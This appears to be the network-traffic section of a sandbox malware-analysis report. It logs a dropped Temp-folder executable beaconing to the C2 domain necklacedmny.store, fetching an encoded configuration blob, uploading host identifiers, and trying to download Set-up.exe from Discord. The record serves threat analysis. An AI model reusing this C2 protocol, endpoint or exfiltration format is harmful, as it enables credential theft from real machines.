2024-10-29 19:37:06 UTC	1353	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Oct 2024 19:37:06 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 232 Connection: close CF-Ray: 8da59e479dee2cb6-DFW CF-Cache-Status: HIT Accept-Ranges: bytes Age: 181 Cache-Control: public, max-age=31536000 Content-Disposition: attachment Expires: Wed, 29 Oct 2025 19:37:06 GMT Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 x-guploader-uploadid: AHmUCY1YCVR2KvdEGuPuWV6zVC4-91kGwJZ8gaX68yeylC7Wj-Zr0pfHeGh9BOr3j1Z58IY6Ab0IE6hyZA X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Set-Cookie: __cf_bm=DQSPoeNGgEFoLBnc_ytYXe20hwS7WeFcqtj6Um5RP_Q-1730230626-1.0.1.1-sqs4ecP303mYnbU4NoVp2zAmDUcvoT_v4K3YRPJl2SAdfhZgAfXmQIBp7jKu7EtOhitZCjDZWd4egxvJdX5nDg; path=/; expires=Tue, 29-Oct-24 20:07:06 GMT; domain=.discordapp.com; HttpOnly; Secure Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p9v9VcOzkfX%2BdnYwcGdH9ktbXuUJD0HKAXAwKU7xY30T2E7d2QK%2BagskauaBw%2BMMGEQEQevYjRxmFtB9cZL2JnMMGsqh0YAQ%2Bwa0hv8oq7M5vcNoOzsvGsEYLnktAO0WJCVwZA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Set-Cookie: _cfuvid=I57GdEOftf3UsqmLWZ1GGv4P2aPxXQKdFrCePEW.qnI-1730230626533-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None Server: cloudflare
2024-10-29 19:37:06 UTC	16	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 Data Ascii: <?xml version='1
2024-10-29 19:37:06 UTC	216	IN	Data Raw: 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 4e 6f 53 75 63 68 4b 65 79 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 54 68 65 20 73 70 65 63 69 66 69 65 64 20 6b 65 79 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 2e 3c 2f 4d 65 73 73 61 67 65 3e 3c 44 65 74 61 69 6c 73 3e 4e 6f 20 73 75 63 68 20 6f 62 6a 65 63 74 3a 20 64 69 73 63 6f 72 64 2f 61 74 74 61 63 68 6d 65 6e 74 73 2f 31 32 38 36 37 30 36 30 33 39 34 37 35 30 31 35 37 34 31 2f 31 33 30 30 38 30 30 35 31 33 31 39 37 32 31 31 37 34 39 2f 53 65 74 2d 75 70 2e 65 78 65 3c 2f 44 65 74 61 69 6c 73 3e 3c 2f 45 72 72 6f 72 3e Data Ascii: .0' encoding='UTF-8'?><Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message><Details>No such object: discord/attachments/1286706039475015741/1300800513197211749/Set-up.exe</Details></Error>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	50008	188.114.96.3	443	7264	C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:10 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-29 19:37:10 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-29 19:37:10 UTC	1015	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fv4ssqh4nkragf6m4be7apm6hd; expires=Sat, 22 Feb 2025 13:23:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ir%2FBH3TSK1j753FJ1unKP10JdnX96WlgT95KWoh1j4zK%2FMK0p9Lti5KXrnuaAea2fqXed2Ii6A0ddVxcXdnQ8raNbBPDHqkB9HkxFRsHT7H3t%2BHsZLB5aq2GUqu06%2B9VMJU4o2Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59e5f8c6f6c0d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1111&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2475213&cwnd=251&unsent_bytes=0&cid=b57a780766779668&ts=781&x=0"
2024-10-29 19:37:10 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-29 19:37:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	50009	188.114.96.3	443	7264	C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:11 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-29 19:37:11 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-29 19:37:12 UTC	1011	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eipom9ull00ke632h0011p3hga; expires=Sat, 22 Feb 2025 13:23:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=inX9gRovOyKvcpoaXO97F8JXTP0XQegvhoYWHwDk4b3wbv6OmUW%2FOLyEc%2F8AYHOvo9xdMfmCSfN69QPI3QyBcHeC09hnaAH0F8FqW7POFB1EJBWwavU5PAiNpeTvOeBGtJakvmg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59e695a9e6c69-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1155&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=2433613&cwnd=251&unsent_bytes=0&cid=52056f43b391a63c&ts=365&x=0"
2024-10-29 19:37:12 UTC	358	IN	Data Raw: 34 34 36 63 0d 0a 4f 34 7a 48 6e 49 2f 42 6b 59 36 75 35 41 65 7a 53 64 72 76 76 73 65 6a 46 44 44 48 4c 30 33 4c 50 37 56 4f 59 48 31 4c 72 4a 46 41 72 72 47 2b 74 66 57 39 72 4e 32 42 4a 59 6b 39 71 4a 72 62 36 34 46 31 56 4f 55 56 4b 36 70 54 78 69 74 4d 58 7a 33 42 73 77 48 71 70 76 44 38 70 4c 32 73 79 35 77 6c 69 52 4b 68 7a 64 75 70 67 53 34 53 6f 6b 55 76 71 6c 50 58 4c 77 73 53 4f 38 44 79 55 2b 43 67 39 4f 71 69 39 65 2f 43 69 57 4c 57 4c 4c 75 46 30 4b 37 4f 66 46 33 6c 41 32 2b 75 52 5a 64 30 51 6a 41 75 32 50 42 32 37 62 54 33 72 62 79 39 39 59 79 42 61 5a 46 7a 2b 49 37 62 70 63 39 79 56 4b 78 48 4a 61 4e 62 31 69 6f 4b 44 53 4c 4b 2b 56 50 75 6f 2f 58 67 71 2b 48 69 79 49 35 70 30 43 61 37 7a 5a 4c 6c 78 6d 34 53 2f 51 31 38 6d 31 37 47 50 Data Ascii: 446cO4zHnI/BkY6u5AezSdrvvsejFDDHL03LP7VOYH1LrJFArrG+tfW9rN2BJYk9qJrb64F1VOUVK6pTxitMXz3BswHqpvD8pL2sy5wliRKhzdupgS4SokUvqlPXLwsSO8DyU+Cg9Oqi9e/CiWLWLLuF0K7OfF3lA2+uRZd0QjAu2PB27bT3rby99YyBaZFz+I7bpc9yVKxHJaNb1ioKDSLK+VPuo/Xgq+HiyI5p0Ca7zZLlxm4S/Q18m17GP
2024-10-29 19:37:12 UTC	1369	IN	Data Raw: 78 49 31 75 31 44 6d 7a 68 4e 47 6f 77 58 74 59 71 6b 34 76 72 6c 66 64 49 77 67 62 4a 4d 50 31 57 65 37 6c 73 4b 32 6b 36 36 79 55 78 6b 62 55 4f 37 2b 42 79 75 66 37 4e 6b 33 72 56 47 2b 75 55 5a 64 30 51 68 63 73 7a 66 42 53 34 61 62 32 35 72 48 7a 2f 73 71 4c 59 4d 4d 74 76 59 50 57 70 74 4e 38 58 4b 4e 4f 4a 71 4a 55 30 69 73 47 58 32 65 4f 39 45 47 75 2f 62 37 4d 72 76 6a 67 78 70 46 6c 6b 54 54 32 6c 4a 79 69 7a 54 59 4b 35 55 6b 75 72 56 7a 54 49 67 77 62 4a 63 6a 39 56 4f 47 6a 39 4f 32 6b 2b 65 54 45 68 32 6a 61 4a 4c 69 49 30 61 48 48 65 6c 4f 67 44 57 48 70 57 73 39 73 57 6c 38 48 79 66 42 4c 72 4a 44 39 34 36 33 30 2b 6f 79 5a 4b 38 68 72 76 34 47 63 2f 59 46 34 56 36 70 66 4c 72 74 59 32 54 34 4f 47 69 2f 44 38 46 66 75 6f 50 6e 67 72 66 58 Data Ascii: xI1u1DmzhNGowXtYqk4vrlfdIwgbJMP1We7lsK2k66yUxkbUO7+Byuf7Nk3rVG+uUZd0QhcszfBS4ab25rHz/sqLYMMtvYPWptN8XKNOJqJU0isGX2eO9EGu/b7MrvjgxpFlkTT2lJyizTYK5UkurVzTIgwbJcj9VOGj9O2k+eTEh2jaJLiI0aHHelOgDWHpWs9sWl8HyfBLrJD94630+oyZK8hrv4Gc/YF4V6pfLrtY2T4OGi/D8FfuoPngrfX
2024-10-29 19:37:12 UTC	1369	IN	Data Raw: 38 68 72 76 34 47 63 2f 59 46 36 57 36 56 47 4a 61 31 64 30 43 45 48 48 43 37 4e 2f 6c 37 6b 71 2f 6e 70 72 2f 72 68 79 6f 5a 69 31 53 36 71 69 4e 57 70 7a 54 59 63 35 55 6f 33 36 51 57 58 41 77 55 4a 4b 75 48 77 53 4f 66 6c 34 61 4f 36 73 2b 76 41 78 6a 32 52 4c 4c 32 46 31 36 50 4a 64 6b 43 67 51 79 53 6f 56 39 45 74 44 78 4d 76 7a 76 4a 5a 36 4b 6e 2b 36 71 54 68 2f 73 6d 41 64 39 74 72 39 73 33 62 76 59 45 75 45 70 4e 64 4f 4c 68 4c 6c 52 6b 42 45 53 66 4a 35 52 6e 78 36 2b 65 74 70 50 2b 73 6c 4d 5a 75 30 53 65 2f 68 64 71 68 79 58 6c 64 72 46 38 75 70 56 50 46 4b 77 49 57 4a 38 48 2f 55 4f 4f 69 38 2b 61 70 2f 75 6a 4c 68 79 57 66 61 37 2b 56 6e 50 32 42 51 45 4b 6f 51 51 47 69 55 64 35 73 48 56 45 77 6a 76 52 56 72 76 32 2b 36 61 2f 37 35 73 4f 50 Data Ascii: 8hrv4Gc/YF6W6VGJa1d0CEHHC7N/l7kq/npr/rhyoZi1S6qiNWpzTYc5Uo36QWXAwUJKuHwSOfl4aO6s+vAxj2RLL2F16PJdkCgQySoV9EtDxMvzvJZ6Kn+6qTh/smAd9tr9s3bvYEuEpNdOLhLlRkBESfJ5Rnx6+etpP+slMZu0Se/hdqhyXldrF8upVPFKwIWJ8H/UOOi8+ap/ujLhyWfa7+VnP2BQEKoQQGiUd5sHVEwjvRVrv2+6a/75sOP
2024-10-29 19:37:12 UTC	1369	IN	Data Raw: 2b 4a 32 71 71 42 4f 42 4b 69 56 57 2f 78 48 66 67 4c 4e 31 30 49 39 4c 4e 47 6f 4c 79 2b 36 71 2b 7a 74 49 79 4b 5a 74 30 6a 74 34 76 56 71 63 74 2f 57 61 6c 47 4b 36 56 55 30 69 6f 44 47 69 7a 50 39 31 58 6b 6f 2f 33 75 72 50 7a 6a 78 4d 59 72 6b 53 79 67 7a 59 54 6c 35 47 46 5a 71 30 74 76 74 68 50 4f 62 41 55 54 61 5a 61 7a 56 65 65 6a 2b 4f 69 76 38 75 72 45 67 32 33 56 4b 72 36 4c 33 36 72 46 63 31 4f 71 53 53 4f 6e 56 39 59 74 44 68 51 6d 78 66 59 5a 6f 4f 58 35 39 65 4f 72 72 50 32 46 63 38 59 37 74 4d 33 44 36 39 67 32 56 61 6b 4e 64 2b 6c 63 78 53 59 49 45 53 7a 42 39 6c 72 68 6f 76 50 72 72 2f 6e 6c 78 49 42 71 32 44 6d 37 67 64 4b 69 7a 33 70 63 71 45 63 73 70 42 32 5a 62 41 55 48 61 5a 61 7a 64 65 6d 6f 30 4f 61 76 39 4b 7a 54 79 48 79 52 4c Data Ascii: +J2qqBOBKiVW/xHfgLN10I9LNGoLy+6q+ztIyKZt0jt4vVqct/WalGK6VU0ioDGizP91Xko/3urPzjxMYrkSygzYTl5GFZq0tvthPObAUTaZazVeej+Oiv8urEg23VKr6L36rFc1OqSSOnV9YtDhQmxfYZoOX59eOrrP2Fc8Y7tM3D69g2VakNd+lcxSYIESzB9lrhovPrr/nlxIBq2Dm7gdKiz3pcqEcspB2ZbAUHaZazdemo0Oav9KzTyHyRL
2024-10-29 19:37:12 UTC	1369	IN	Data Raw: 6c 6d 54 5a 6b 6f 6c 30 2f 71 68 2f 6d 4f 67 45 4a 49 73 50 2f 47 66 48 72 35 36 32 6b 2f 36 79 55 78 6d 50 65 49 72 75 43 33 61 7a 4e 65 31 65 73 53 43 36 76 57 64 30 6d 41 68 6b 76 7a 2f 5a 54 37 61 54 30 35 4b 54 37 36 38 2b 55 4a 5a 39 72 76 35 57 63 2f 59 46 66 56 62 64 44 50 2b 6c 43 6d 54 56 43 47 43 57 4f 71 78 6e 71 72 2f 48 70 70 50 2f 71 79 59 42 6f 30 43 53 35 6a 64 4f 68 79 6e 39 55 70 45 41 71 70 46 6e 46 4a 67 6b 51 4a 63 66 2f 56 4b 37 72 76 75 71 37 73 37 53 4d 74 32 6a 66 4a 62 2b 62 6e 4c 71 50 62 78 4b 69 51 57 2f 78 48 64 59 67 44 52 77 6d 7a 66 42 59 35 4c 66 73 34 61 72 37 36 63 43 4e 61 39 63 35 76 6f 4c 56 70 73 4a 2f 56 61 31 42 4a 61 70 61 6c 32 4a 43 47 44 47 4f 71 78 6e 4e 73 75 37 67 34 2b 79 69 31 63 5a 69 33 57 76 67 7a 64 Data Ascii: lmTZkol0/qh/mOgEJIsP/GfHr562k/6yUxmPeIruC3azNe1esSC6vWd0mAhkvz/ZT7aT05KT768+UJZ9rv5Wc/YFfVbdDP+lCmTVCGCWOqxnqr/HppP/qyYBo0CS5jdOhyn9UpEAqpFnFJgkQJcf/VK7rvuq7s7SMt2jfJb+bnLqPbxKiQW/xHdYgDRwmzfBY5Lfs4ar76cCNa9c5voLVpsJ/Va1BJapal2JCGDGOqxnNsu7g4+yi1cZi3Wvgzd
2024-10-29 19:37:12 UTC	1369	IN	Data Raw: 58 61 70 45 4a 71 31 56 31 43 77 47 47 79 37 4c 38 46 58 6c 6f 76 33 69 70 2f 72 69 78 59 6b 6c 6e 32 75 2f 6c 5a 7a 39 67 56 64 4a 70 6b 45 69 36 55 4b 5a 4e 55 49 59 4a 59 36 72 47 65 4b 72 2b 2b 32 70 39 65 6a 4a 67 47 2f 55 4b 37 4f 4f 30 36 48 48 63 6c 32 6c 52 69 61 6f 57 39 49 6d 43 52 6b 6b 7a 66 56 66 72 75 75 2b 36 72 75 7a 74 49 79 6d 66 74 77 6e 76 38 33 44 36 39 67 32 56 61 6b 4e 64 2b 6c 57 32 79 67 46 48 79 54 4e 2b 31 7a 71 72 2f 76 74 71 2b 48 6b 7a 49 46 33 77 79 75 78 69 4e 43 6d 77 58 4a 55 72 45 73 73 72 52 32 5a 62 41 55 48 61 5a 61 7a 64 4f 4b 69 31 2b 71 34 73 2f 4f 43 6e 79 58 57 4a 2f 6a 56 6e 4b 54 4b 66 46 32 6f 54 69 6d 71 56 74 49 6d 41 78 67 68 77 2b 46 61 34 61 72 36 37 61 7a 31 36 73 32 4a 59 39 59 69 75 59 58 62 35 59 38 Data Ascii: XapEJq1V1CwGGy7L8FXlov3ip/rixYkln2u/lZz9gVdJpkEi6UKZNUIYJY6rGeKr++2p9ejJgG/UK7OO06HHcl2lRiaoW9ImCRkkzfVfruu+6ruztIymftwnv83D69g2VakNd+lW2ygFHyTN+1zqr/vtq+HkzIF3wyuxiNCmwXJUrEssrR2ZbAUHaZazdOKi1+q4s/OCnyXWJ/jVnKTKfF2oTimqVtImAxghw+Fa4ar67az16s2JY9YiuYXb5Y8
2024-10-29 19:37:12 UTC	1369	IN	Data Raw: 79 57 75 54 64 41 37 44 56 39 6e 6a 76 77 5a 74 70 79 2b 35 4b 54 6f 2f 64 71 4c 64 64 5a 72 68 38 4f 63 76 59 45 75 45 70 42 4f 49 61 64 61 77 54 31 50 4f 44 2f 45 39 45 6e 70 73 76 47 74 37 62 50 71 6a 4e 34 32 6e 32 75 38 6e 4a 7a 39 6b 53 51 4a 38 42 35 34 2b 51 2f 49 59 68 74 66 50 34 36 72 43 36 44 6c 37 4b 33 37 73 36 76 50 6c 48 66 58 4b 4b 36 4f 6d 35 76 2f 55 55 69 6f 53 7a 69 34 59 2b 6b 72 47 42 49 76 32 65 49 56 2b 36 62 77 34 36 54 6c 72 49 4c 47 61 70 46 7a 67 63 32 55 35 66 34 34 45 72 30 4e 64 2b 6c 6f 31 43 49 4d 47 44 2f 66 76 6e 37 30 71 50 6a 36 73 72 4f 69 6a 49 41 6c 69 58 76 32 7a 64 69 30 67 53 34 43 39 78 5a 36 2b 67 71 48 66 68 31 52 4d 49 37 6c 47 62 62 33 73 4b 32 78 73 37 53 4d 77 57 62 44 4f 62 36 4f 79 71 61 47 53 47 79 4c Data Ascii: yWuTdA7DV9njvwZtpy+5KTo/dqLddZrh8OcvYEuEpBOIadawT1POD/E9EnpsvGt7bPqjN42n2u8nJz9kSQJ8B54+Q/IYhtfP46rC6Dl7K37s6vPlHfXKK6Om5v/UUioSzi4Y+krGBIv2eIV+6bw46TlrILGapFzgc2U5f44Er0Nd+lo1CIMGD/fvn70qPj6srOijIAliXv2zdi0gS4C9xZ6+gqHfh1RMI7lGbb3sK2xs7SMwWbDOb6OyqaGSGyL
2024-10-29 19:37:12 UTC	1369	IN	Data Raw: 37 5a 49 67 55 4a 4f 49 50 55 56 2b 6d 6b 36 50 32 30 2f 4b 79 43 78 6d 4f 52 63 2b 72 44 6e 4b 48 51 4e 67 72 31 48 33 54 38 44 6f 42 38 55 41 42 6e 31 37 4e 50 72 76 32 73 6f 2b 50 68 72 4a 54 47 49 74 49 35 71 6f 76 66 73 38 49 78 62 4a 74 71 49 61 35 63 77 54 77 56 45 47 62 67 78 58 6a 51 6d 2b 76 75 72 66 33 72 32 70 63 6c 6e 32 75 33 7a 59 53 63 67 54 34 53 6d 67 4e 76 73 52 32 50 62 44 63 63 4a 38 44 30 54 2f 2f 6f 32 65 4f 6b 38 76 72 63 6b 57 71 65 42 59 36 73 6e 4f 75 42 63 42 4c 39 48 32 48 70 57 63 5a 73 57 6b 39 37 6c 61 59 4b 75 66 57 73 38 75 33 71 72 4e 72 47 50 59 4e 6c 2b 4a 2b 63 2f 59 45 78 55 62 64 66 4b 61 70 4c 31 47 73 38 49 51 37 41 39 46 6a 34 74 66 50 68 67 76 44 39 78 72 68 62 78 43 69 32 67 39 75 7a 30 44 59 63 35 55 4a 76 38 Data Ascii: 7ZIgUJOIPUV+mk6P20/KyCxmORc+rDnKHQNgr1H3T8DoB8UABn17NPrv2so+PhrJTGItI5qovfs8IxbJtqIa5cwTwVEGbgxXjQm+vurf3r2pcln2u3zYScgT4SmgNvsR2PbDccJ8D0T//o2eOk8vrckWqeBY6snOuBcBL9H2HpWcZsWk97laYKufWs8u3qrNrGPYNl+J+c/YExUbdfKapL1Gs8IQ7A9Fj4tfPhgvD9xrhbxCi2g9uz0DYc5UJv8
2024-10-29 19:37:12 UTC	1369	IN	Data Raw: 42 44 79 37 77 7a 58 54 38 6f 75 37 75 34 64 2f 72 77 59 70 62 37 78 79 70 69 73 7a 6e 35 33 56 45 70 67 31 68 36 55 57 58 64 45 49 79 4f 38 6e 6a 57 71 79 4a 2b 65 43 76 73 2f 4f 43 6e 79 58 48 61 2b 44 65 6b 75 58 54 4e 67 72 6c 43 69 79 37 54 39 45 76 46 42 78 75 38 4d 31 30 2f 4b 4c 75 37 75 48 43 34 63 69 51 63 4e 49 37 76 37 50 69 69 4e 4e 78 51 71 59 50 43 70 4d 66 35 6a 6f 42 48 79 66 4a 73 78 65 75 76 62 36 31 34 39 37 2b 79 35 5a 6d 6b 77 36 43 7a 2b 32 7a 77 6e 5a 63 6f 67 30 77 35 30 53 58 4f 6b 4a 48 65 6f 43 7a 53 36 37 39 76 71 71 74 2f 75 33 50 69 47 62 44 4f 62 36 4f 79 71 61 47 53 47 79 4b 52 69 36 35 55 4d 59 68 42 67 6b 58 38 4e 52 66 36 36 4c 41 30 35 54 69 36 39 7a 45 51 39 49 39 75 38 32 53 35 64 6b 32 43 75 56 71 4b 61 78 61 6c 32 Data Ascii: BDy7wzXT8ou7u4d/rwYpb7xypiszn53VEpg1h6UWXdEIyO8njWqyJ+eCvs/OCnyXHa+DekuXTNgrlCiy7T9EvFBxu8M10/KLu7uHC4ciQcNI7v7PiiNNxQqYPCpMf5joBHyfJsxeuvb61497+y5Zmkw6Cz+2zwnZcog0w50SXOkJHeoCzS679vqqt/u3PiGbDOb6OyqaGSGyKRi65UMYhBgkX8NRf66LA05Ti69zEQ9I9u82S5dk2CuVqKaxal2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	50010	188.114.96.3	443	7264	C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:13 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-10-29 19:37:13 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 45 39 32 42 38 45 30 38 46 43 30 32 32 38 36 33 38 32 31 45 38 33 31 34 39 43 43 46 37 34 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2E92B8E08FC022863821E83149CCF748--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 19:37:16 UTC	1021	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0b1onfmpch1jrp4msj926ffrqu; expires=Sat, 22 Feb 2025 13:23:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=56vOiW42YLMQmsE60uQkZWTxurE4okZb4QrjsZS0uDxT8djb2nSLy%2BGPl32nF%2FCcfC6C7p%2BnZWwLXA8KoySWfhepcVFMQ6eNYNCM4pzz48%2FPcHmeX%2BP9wnGIOtFL12L91RwW7Es%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59e7419932e5f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1358&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13791&delivery_rate=1943624&cwnd=247&unsent_bytes=0&cid=ef35c513fdd91573&ts=3465&x=0"
2024-10-29 19:37:16 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 19:37:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	50015	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:21 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-29 19:37:21 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-29 19:37:21 UTC	1011	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:37:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=go97mtau46ilb806lf4l0a8bh1; expires=Sat, 22 Feb 2025 13:24:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5P93NlOI5oII5OdhaTCFATNs%2F6vY3JtV57GLuTZHxNZsLQ6aHJ3tV7%2FscyZQT71tPPAIxPFo7Zd7tgiEwbvcSc9i2MvUPCEfUy7eQ4ou37CPUppPqjfwLZY7pakbbTeTp1Ik4I4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da59ea3d82d3462-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1222&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2403319&cwnd=248&unsent_bytes=0&cid=6deb232445092e1d&ts=550&x=0"
2024-10-29 19:37:21 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-29 19:37:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	50017	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:37:24 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-29 19:37:24 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
